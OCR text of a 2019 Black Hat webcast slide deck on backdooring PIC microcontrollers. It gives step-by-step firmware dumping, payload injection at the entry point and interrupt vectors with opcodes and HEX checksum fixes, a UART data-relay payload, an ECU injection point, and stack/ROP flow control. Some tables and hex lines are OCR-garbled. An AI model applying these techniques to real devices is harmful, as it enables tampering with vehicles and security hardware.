

Backdooring Hardware Devices by Injecting Malicious Payloads on Microcontrollers

August 22, 2019



@BlackHatEvents / #BlackHatWebcasts

Feature Speaker



Featured Presenter:

Sheila Ayelen Berta (@UnaPibaGeek) Offensive Security Researcher

Backdoors...

Many Android Devices Had a Pre-Installed Backdoor, Google Reveals

The list of affected devices includes Leagoo M5 Plus, Leagoo M8, Nomu S10, and Nomu S20.

The Big Hack: How China Used a Tiny Chip to Infiltrate U.S. Companies

Supermicro hardware weaknesses researchers backdoor an IBM cloue server Other providers of bare-metal cloud computing might also be vulnerable to



Microcontrollers vs Microprocessors



Microprocessors Intel, AMD, ARM



Microcontrollers Microchip, ATMEL, ST

...

Microprocessors overview

- Microprocessors = CPU
- Memories and I/O busses are physically separated.
- Usually bigger than a microcontroller.
- Greater processing capacity.
 INPUT
 ALU, Registers, etc
 OUTPUT
 MICROPROCESSOR
 ALU, Registers, etc
 OUTPUT

Microcontrollers overview

- Microcontrollers = CPU + RAM + ROM + I/O busses
- Smaller CPU with less processing capacity.
- Usually smaller size than microprocessors.

- Harvard memory organization.
- 16 bits (most common).
- A little stack.

MICROCONTROLLER						
CPU	INTERNAL OSCILLATOR					
RAM	ROM Others					
PERIPHER	ALS		I/O busses			

Use cases







Raspberry PI ARM Microprocessor Arduino UNO Atmega Microcontroller

Microcontrollers evolution







1	MOLE (MDD (DEC)	DDZ (WDT2 (DCD	28
2	MCLR/ VPP/RE3	KB // KBI 3/ PGD	27
3	RAO/ANO	RB6/KBI2/PGC	26
	RA1/AN1	RB5/KBI1/PGM	25
- 4	RA2/AN2/VREF-	RB4/KBI0/AN9	2.0
5	BA3/AN3/VREF+	BB3/CANBX	24
6	BA4/TOCKT	BB2/INT2/CANTY	23
7	DAE (ANA (CC (ULUDIN	DD1/TND1/DN0	22
8	RA5/AN4/S5/HLVDIN	RBI/INII/ANO	21
9	vss	RB0/INT0/AN10	20
10	OSC1/CLKI/RA7	VDD	19
11	OSC2/CLKO/RA6	VSS 1	10
10	RC0/T10S0/T13CKI	RC7/RX/DT	17
12	BC1/T1OST	BC6/TX/CK	11
13	PC2/CCD1	DC5/CDO	16
14	RC2/CCP1	RCJ/ SDO	15
	RC3/SCK/SCL	RC4/SDI/SDA	

Di MICROCHIP PIC18F2580

mmm





DIC16F1847







Is worth it?

- Physical Security Systems.
- Car's ECU.
- Semaphores.
- Elevators.
- Sensors.
- Modules of Industrial systems.
- Home appliances.
- Robots.

•••

MICROCONTROLLERS PROGRAMMING

Microcontrollers programming



Microcontrollers programming

MAIN_PROG C	ODE		
START			
CLRF MOVLW	PORTD B ' 00000000 '	;	Clear PORTD
MOVWF	TRISD	;	All is Output
BSF Goto \$	PORTD,2	;	Turn on LED Loop forever
END			



MPLAB X IDE

ASM code to turning on a LED - (PIC)



.hex file (firmware)

Microcontrollers programming

[MF	PLAB X IPE v5.00
File Settings V	iew Tools Win	idow Help		
Optio	Operate F	Power Settings ×		
88	Device and To	ool Selection		Results
Operate	Family:	All Families	•	CP=OFF Checks 77BD
Power	Device:	PIC18F45K20	- Apply	Pass Count: 1
	Tool:	PICkit3 S.No : BUR145221993	▼ Disconnect	Fail Count: 1
Memory				Total Count: 2
Environment	Hex File: /h	gram	Read	Verify Blank Check uction.hex Browse Clear selec
OO7 SQTP	Output - IPE ×	oaded firmware on PICkit 3		·
Production	Firmware sur Firmware typ Programmer t Target devic Device ID Re	to target power is enabled - VDD = ce PICl8F45K20 found. evision = lc	= 3,250000 volts.	
Settings	Device Erase Programming.	ed		
Logout	rne followir program memo configuratio Programming/ 2018-10-22 1	ng memory area(s) vill be programm ory: start address = 0x0, end addr on memory /Verify complete 13:15:00 -0300 - Programming compl	ea: ress = 0x7f .ete	



Microchip (PIC) programmer software

Microchip (PIC) programmer hardware

PROGRAM MEMORY DUMP

PIC memory organization



Program memory dump (step 1)



Connection from PIC microcontroller to PICKIT 3

Program memory dump (step 2)

	New Project >					
Steps 1. Choose Project 2	Choose Project Q Filter:					
	Categories: Project	cts: .tandalone Proiect xistina MPLAB IDE v8 Proiect rebuilt (Hex. Loadable Imaae) Proiec Iser Makefie Proiect				

	Select Tool
3	 ▼ Hardware Tools ● Atmel-ICE ● ICD 3 ● ICD 4 ● PICkit 4 ▼ ●● PICkit 3 SN: BUR145221993 ● PM3

MPLAB X IDF v5 00 - basic : defau

	Select Device	•			Production <u>D</u> ebug Tea <u>m</u> <u>T</u> ools <u>W</u> indow	Нер
\frown					ault 💽 🚏 🆓 - 👂 - 👱 -	• 🔁 • 🙀 🗊 • PC: 0x0 n ov z dc c : W:0x0 : bank 0
(7)	Familv:	Recently Used	•		Start Page × 📓 main.asm ×	Read Device Memory Main Project Discrete Multi-Partition Read Operation
	Device:	PIC18F45K20	•	4	MPLAB	Read Device Memory to File Read EE/Flash Data Memory to File

Using MPLAB X IDE to read (and dump) the program memory

Program memory dump (step 3)

			MPL	AB X IDE v5.00 - D	UMP1 : default
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>N</u> avigate <u>S</u> ourc	e Ref <u>a</u> ct	or Production <u>D</u> ebug Tea <u>m</u> <u>T</u> ools	<u>W</u> indow <u>H</u> elp		
: 🔁 🔚 🖶 : 🍤 🔇	de :	efault 💽 🍸 📲 🏷	Xplained	Ctulu 1	dc c : W:0x0 : bank 0
× Files	Start P	age × 🛅 memory.hex ×	Eiles	Ctrl+1 Ctrl+2	
 DUMP1 Header Files 	Source	e History 🛛 📴 🗸 🚚 🔹 🔍	<u> </u>	Ctrl+9	
Important Files	1	:020000040000FA	💿 Fa <u>v</u> orites	Ctrl+3	
memory.hex	2	:10001000096E0400092E0AEF0	₩ <u>S</u> ervices	Ctrl+5	
Source Files	4	:10002000042E05EF00F0000C8	🔀 Dashboard		
Libraries	5	:1000300003EC00F0839C03EC0	<u>N</u> avigator	Ctrl+7	
r 🔤 Loadables	7	:10005000FFFFFFFFFFFFFFFFF	Action Ite <u>m</u> s	Ctrl+6	
	8	:10006000FFFFFFFFFFFFFFFFF	💼 Tas <u>k</u> s	Ctrl+Mayús+6	
	9	:10007000FFFFFFFFFFFFFFFFFF	🔁 Output	Ctrl+4	
	10	10008000FFFFFFFFFFFFFFFFF	Editor	Ctrl+0	
	12	:1000A000FFFFFFFFFFFFFFFFFF	 Debuaaina	•	
	13	:1000B000FFFFFFFFFFFFFFFFFF	 Web	•	
	14	:1000C000FFFFFFFFFFFFFFFFFF		•	
	15	:1000D000FFFFFFFFFFFFFFFFFF	Target Memory Views	•	
	17	:1000F000FFFFFFFFFFFFFFFFFFFFFF	Simulator		
	18	:10010000FFFFFFFFFFFFFFFFFFFF	Configure Window		📟 File Registers
DUMPI - D main.as ×	19	:10011000FFFFFFFFFFFFFFFFFF	Conlig <u>u</u> re window	,	SFRs 5
	20	:10012000FFFFFFFFFFFFFFFFFF	Reset <u>W</u> indows		📟 Configuration Bits
	21	:10013000FFFFFFFFFFFFFFFFFFF	Close W <u>i</u> ndow	Ctrl+W	EF Data Memory
	22	:10014000FFFFFFFFFFFFFFFFFFF	Close <u>A</u> ll Documents	Ctrl+Mayús+W	
	23	:10016000FFFFFFFFFFFFFFF	Close Ot <u>h</u> er Documents		Ser ID Memory
	25	:10017000FFFFFFFFFFFFFFFFFF	Document Groups	•	
	26 27	:10018000FFFFFFFFFFFFFFFF :10019000FFFFFFFFFFFFFFFFFF	<u>D</u> ocuments ++++++++++++++++++++++++++++++++++	Mayús+F4	

	Line	Address	Opcode	Label	DisAssy	
⇔	1	0000	EF14		GOTO 0x28	
	2	0002	F000		NOP	
	3	0004	0000		NOP	
	4	0006	0E0E	DEOE MOVLW 0xE		
	5	0008	6E04		MOVWF 0x4, ACCESS	
	6	000A	0E48		MOVLW 0x48	
	7	000C	6E07		MOVWF 0x7, ACCESS	
	8	000E	0E50		MOVLW 0x50	
	9	0010	6E09		MOVWF 0x9, ACCESS	
	10	0012	0004		CLRWDT	
	11	0014	2E09		DECFSZ 0x9, F, ACCES	
	12	0016	EF0A		GOTO 0x14	
	13	0018	F000		NOP	
	14	001A	2E07		DECFSZ 0x7, F, ACCES	
	15	001C	EF07 GOTO 0xE		GOTO 0xE	
	16	001E	F000 NOP		NOP	
	17	0020	2E04		DECFSZ 0x4, F, ACCES	
	18	0022	EF05		GOTO 0xA	
	19	0024	F000		NOP	
	20	0026	0000		RETLW 0x0	
	21	0028	6A83		CLRF PORTD, ACCESS	
	22	002A	0E00	0E00	MOVLW 0x0	
	23	002C	6E95		MOVWF TRISD, ACCESS	
	24	002E	8C83		BSF PORTD, 6, ACCESS	
	25	0030	EC03		CALL 0x6, 0	
	26	0032	F000		NOP	
	27	0034	9C83		BCF PORTD, 6, ACCESS	
n	Pro	ogram	• F	ormat	Code	

Load the .hex file in the MPLAB X IDE

Code vs Disassembly (example)



OpCodes in the .hex dump

PAYLOAD INJECTION: AT THE ENTRY POINT

Program standard structure (PIC)

#INCLUDE FILES	
PIC CONFIG DIRECTIVES	
PROGRAM CONSTANTS	
RAM VARIABLES	
RESET VECTOR 0x0000; GOTO START	Reset Vector: always at 0x0000 memory address
INTERRUPT VECTOR 0x0008 INTERRUPT ROUTINE #1 INTERRUPT ROUTINE #2	Interrupt Vector: at 0x0008 and 0x0018 memory addresses
START:	Program entry point
PROGRAM MAIN CODE	

Locating the entry point



	Line	Address	Opcode	Label	DisAssy
⇔	1	0000	EF03	Î	GOTO 0x6
	2	0002	F000		NOP
	3	0004	0000		NOP
	4	0006	6A83		CLRF PORTD, ACCESS
	5	0008	0E00		MOVLW 0x0
	6	000A	6E95		MOVWF TRISD, ACCES
	7	000C	8483		BSF PORTD, 2, ACCES
	8	000E	EF07	0	GOTO 0xE
	9	0010	F000	0	NOP

	Line	Address	Opcode	Label	DisAssy
⇔	1	0000	EFC2		GOTO 0x7F84
	2	0002	F03F		NOP
	3	0004	FFFF		NOP

Entry point

Simple program example

Large program example

Example 1 -- Entry point: 0x06Memory address to injectExample 2 -- Entry point: 0x7F84Memory address to inject

Generating the payload #1 (PoC)

BCF	TRISD,1	// Set PIN as output
BSF	PORTD,1	// Turn ON a LED
BCF	TRISD,2	// Set PIN as output
BSF	PORTD,2	// Turn ON a LED

Opcode	Label	DisAssy	
0000		NOP	
9295		BCF TRISD, 1, ACCESS	
8283		BSF PORTD, 1, ACCESS	
9495		BCF TRISD, 2, ACCESS	
8483		BSF PORTD, 2, ACCESS	
0000		NOP	

 0x9295 = BCF TRISD,1
 0x9495 = BCF TRISD,2

 0x8283 = BSF PORTD,1
 0x8483 = BSF PORTD,2

Little Endian: 0x9592 0x8382 0x9594 0x8384

Injecting the payload

Program Memory										
S	Line Address Opcode Label DisAssy									
	⇔	1	0000	EF14		GOTO 0x28				
Q		2	0002	F000		NOP				
		3	0004	0000		NOP				

Entry point at 0x28



Original program memory (.hex dump)



Payload injected at entry point (0x28)

Sum(bytes on the line) = Not +1 = checksum

Example: :100000003EF00F00000959E838E836A000E956E

10+00+00+03+EF+00+F0+00+00+95+9E+83+8E+83+6A+00+0E+95+6E = 0x634

Not(0x634) +1 = 0xFFFF 0xFFFF 0xFFFF 0xF9CC

Checksum = OxCC

Checksum recalculation

https://www.fischl.de/hex_checksum_calculator/



:10002000042E05EF00F0000C95928382959483849F						
Analyse						
:10002000042E05EF00F0000C95928382959483849F						
Address: $0020_{16} = 32_{10}$ Byte count: $10_{16} = 16_{10}$ Record type: $00_{16} = Data$ Checksum: $9F_{16}$						
Calculated checksum: 52 ₁₆						

1	:02000040000FA
2	:1000000014EF00F000000E0E046E480E076E500E46
3	:10001000096E0400092E0AEF00F0072E07EF00F02A
4	:10002000042E05EF00F0000C959283829594838452
5	:10003000000E956E838C03EC00F0839C03EC00F0
6	:1000400016EF00F0FFFFFFFFFFFFFFFFFFFFFFFFFFFFF

Payload injected and checksum fixed

Write the program memory

Program Erase Read Verify	Blank Check						
Hex File: /home/shei/MPLABXProjects/LED2.X/modified-firmware.hex	Browse Clear selec						
SQTP File: Please click on Browse button to import SQTP file	Browse Clear selec						
Output - IPE ×							
Currently loaded firmware on PICkit 3 Firmware Suite Version01.52.02 Firmware typePIC18F Programmer to target power is enabled - VDD = 3,500000 volts. Target device PIC18F45K20 found. Device ID Revision = 1c 2019-07-11 21:47:32 -0300 - Hex file loaded successfully. Loading code from /home/shei/MPLABXProjects/LED2.X/modified-firmware.hex 2019-07-11 21:47:35 -0300 - Programming							
Device Erased							
The following memory area(s) will be programmed: program memory: start address = 0x0, end address = 0x7fff configuration memory Programming/Verify complete 2019-07-11 21:47:48 -0300 - Programming complete							

Before / After (PoC)



Original



Payload injected

Injecting to a car's ECU

Entry point: 0x152A

l	339	:101500000001536B53C036F0070E2B	6F5AEC00F0FE
	340	:10151000499F000C000149BB000C0F	01F29F000124
	341	:10152000498B0F01F28F0001000C00	010E016F5C6E
	342	:1015300049B1348147B18AEC0AE044	B17DEC00F046
	343	:1015400067B3A6EF0AF047B303ÉF0B	F053B1F8EF20





ADVANCED PAYLOAD INJECTION: AT THE INTERRUPT VECTOR

Peripherals and Interruptions



GIE and PEIE bits

INTCON

GIE	PEIE	TMROIE	INTOIE	RBIE	TMR0IF	INTOIF	RBIF
-----	------	--------	--------	------	--------	--------	------

BSFINTCON, GIE// Set GIE to 1BSFINTCON, PEIE// Set PEIE to 1

26	0032	8EF2	BSF INTCON, 7, ACCESS	Interruptions anabled
27	0034	8CF2	BSF INTCON, 6, ACCESS	

Interruption flags



XXIE = Interruption Enabled XXIF = Interruption Flag

Registers PIE1, PIE2 and PIE3 have interruption enabling bits Registers PIR1, PIR2 and PIR3 have interruption flags bits

Polling inspection

; TODO ADD INT_VECT C	INTERRUPTS HERE ODE 0x0008	IF	USED
MOVWF Swapf Movwf	tempw STATUS,w temps		
; POLLI	NG:		
→ BTFSC	PIR1,RCIF		
CALL	RC		
→ BTFSC	INTCON, TMR0IF		
CALL	ТМ		
→ BTFSC	PIR1,ADIF		
CALL	AD		
→ BTFSC	INTCON, INTOIF		
CALL	IN		
SWAPF	temps.w		
MOVWF	STATUS		
MOVF	tempw,w		
RETFIE			

Address	Opcode	Label	DisAssy
0006			NOR
0006	FFFF		
0008	6E00		MOVWF 0X0, ACCESS
000A	38D8		SWAPF STATUS, W, ACCESS
000C	6E01		MOVWF 0x1, ACCESS
000E	BA9E		BTFSC PIR1, 5, ACCESS
0010	EC24		CALL 0x48, 0
0012	F000		NOP
0014	B4F2		BTFSC INTCON, 2, ACCESS
0016	EC27		CALL 0x4E, 0
0018	F000		NOP
001A	BC9E		BTFSC PIR1, 6, ACCESS
001C	EC2B		CALL 0x56, 0
001E	F000		NOP
0020	B2F2		BTFSC INTCON, 1, ACCESS
0022	EC2F		CALL 0x5E, 0
0024	F000		NOP
0026	3801		SWAPF 0x1, W, ACCESS
0028	6ED8		MOVWF STATUS, ACCESS
002A	5000		MOVF 0x0, W, ACCESS
002C	0010		RETFIE 0
002E	6A83		CLRF PORTD, ACCESS

→ Interrupt vector

Polling

Polling inspection



Call to RC interruption routine

REGISTER 9-4: PIR1: PERIPHERAL INTERRUPT REQUEST (FLAG) REGISTER 1							
R/W-0	R/W-0	R-0	R-0	R/W-0	R/W-0	R/W-0	R/W-0
PSPIF ⁽¹⁾	ADIF	RCIF	TXIF	SSPIF	CCP1IF	TMR2IF	TMR1IF
bit 7		bit 5					bit 0

PIR1, 5 = PIR1, RCIF

Memory addresses to inject a payload

Address	Opcode	Label	DisAssy	
0006	FFFF		NOP	1
0008	6E00		MOVWF 0x0, ACCESS	
000A	38D8		SWAPF STATUS, W, ACCESS	
000C	6E01		MOVWF 0x1, ACCESS	
000E	BA9E		BTFSC PIR1, 5, ACCESS	
0010	EC24		CALL 0x48, 0	-
0012	F000		NOP	
0014	B4F2		BTFSC INTCON, 2, ACCESS	
0016	EC27		CALL 0x4E, 0	-
0018	F000		NOP	
001A	BC9E		BTFSC PIR1, 6, ACCESS	
001C	EC2B		CALL 0x56, 0	-
001E	F000		NOP	
0020	B2F2		BTFSC INTCON, 1, ACCESS	
0022	EC2F		CALL 0x5E, 0	
0024	F000		NOP	
0026	3801		SWAPF 0x1, W, ACCESS	
0028	6ED8		MOVWF STATUS, ACCESS	
002A	5000		MOVF 0x0, W, ACCESS	
002C	0010		RETFIE 0	
002E	6A83		CLRF PORTD, ACCESS	

- 0x48 to inject a payload at the RC interruption
- 0x4E to inject a payload at Timer0 interruption
- 0x56 to inject a payload at the AD interruption
- 0x5E to inject a payload at the INTO interruption

Step 1: locate where the RC interruption routine begins (by inspecting the polling)



Step 2: Cook a payload that makes a relaying of the received data to a TX peripheral which we are able to monitor externally (example)

MOVF	RCREG, W
BSF	TXSTA, TXEN
BCF	TXSTA, SYNC
BSF	RCSTA, SPEN
MOVWF	TXREG

- // Move the received data to "W" register
- // Enable transmission
- // Set asynchronous operation
- // Set TX/CK pin as an output
- // Move received data (in W) to TXREG to be re-transmitted

F000	NOP
50AE	MOVF RCREG, W, ACCESS
8AAC	BSF TXSTA, 5, ACCESS
98AC	BCF TXSTA, 4, ACCESS
8EAB	BSF RCSTA, 7, ACCESS
6EAD	MOVWF TXREG, ACCESS
9A9E	BCF PIR1, 5, ACCESS

OxAE50 OxAC8A OxAC98 OxAB8E OxAD6E

Step 3: Inject the payload where the RC interruption routine begins



DEMO TIME!

STACK PAYLOAD INJECTION: CONTROLLING PROGRAM FLOW

STKPTR, TOSU, TOSH and TOSL

STKPTR = Stack Pointer register TOSU, TOSH and TOSL = Top of Stack registers



Program flow control

INCF <mark>STKPTR</mark> ,F	// SP increment
MOVLW 0x00 MOVWF <mark>TOSU</mark>	// TOSU = 0x00
MOVLW oxoC MOVWF <mark>TOSH</mark>	// TOSH = OxOC
MOVLW 0x72 MOVWF <mark>TOSL</mark>	// TOSL = 0x72
RETURN	

Address	Opcode	Label	DisAssy		
000C	8083		BSF PORTD, 0, ACCESS	1	
000E	2AFC		INCF STKPTR, F, ACCESS		SP Increment
0010	0E00		MOVLW 0x0		
0012	6EFF		MOVWF TOSU, ACCESS	1	
0014	0E00		MOVLW 0x0		
0016	6EFE		MOVWF TOSH, ACCESS		105 = 0000024
0018	0E24		MOVLW 0x24	1	
001A	6EFD		MOVWF TOS, ACCESS		
001C	0012		RETURN 0		
001E	EF06		GOTO 0xC	1	
	1			1	
0022	0000		NOP	1	
0024	8C83		BSF PORTD, 6, ACCESS	1	
0026	EF13		GOTO 0x26	1	

Jump to 0x000C72

Jump to 0x000024

ROP chain

ROP gadgets:

0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E (last) 0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E 0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E 0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E 0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E 0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E 0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E (first)

RET = 0x1200

) G

Gadget example at 0x0040:

0040 8	683	BSF PORTD, 3, ACCESS
0042 E	C03	CALL 0x6, 0
0044 F	000	NOP
0046 0	C00	RETLW 0x0

RETURN or **RETLW**



PROGRAM MEMORY PROTECTIONS

Code protection

Microchip Config Directives

;	CONFIG5	L			
	CONFIG	CP0	=	ON	
	CONFIG	CP1	=	ON	
	CONFIG	CP2	=	ON	
	CONFIG	CP3	=	ON	

5	0008	6E00	MOVWF 0x0, ACCESS
6	A000	38D8	SWAPF STATUS, W, ACCESS
7	000C	6E01	MOVWF 0x1, ACCESS
8	000E	BA9E	BTFSC PIR1, 5, ACCESS
9	0010	EC24	CALL 0x48, 0
10	0012	F000	NOP
11	0014	B4F2	BTFSC INTCON, 2, ACCESS
12	0016	EC27	CALL 0x4E, 0
13	0018	F000	NOP
14	001A	BC9E	BTFSC PIR1, 6, ACCESS

Program memory dump still works

Microchip Config Directives

5	0008	0000	NOP
6	A000	0000	NOP
7	000C	0000	NOP
8	000E	0000	NOP
9	0010	0000	NOP
10	0012	0000	NOP
11	0014	0000	NOP

Program memory dump doesn't work

CONCLUSIONS

- Backdooring microcontrollers is possible.
- White paper is available: <u>https://i.blackhat.com/USA-19/Thursday/us-19-Berta-</u> <u>Backdooring-Hardware-Devices-By-Injecting-Malicious-Payloads-On-Microcontrollers-</u> <u>wp.pdf</u>
- Most concepts can be extended to other vendors.
- Special thank to Sol, Nico Waisman and Dreamlab Technologies.

Questions & Answers



Sheila Ayelen Berta Offensive Security Researcher

@UnaPibaGeek

- To join the Black Hat mailing list, email BH LIST to: feedback@blackhat.com
- To join our LinkedIn Group: http://www.linkedin.com/groups?gid =37658&trk=hb_side_g
- **To follow Black Hat on Twitter:** https://twitter.com/Blackhatevents
- Black Hat's Facebook Fan Page: http://www.facebook.com/blackhat
- Find out more at <u>www.blackhat.com</u>
- Next Webcast: September 19, 2019



Thank You!

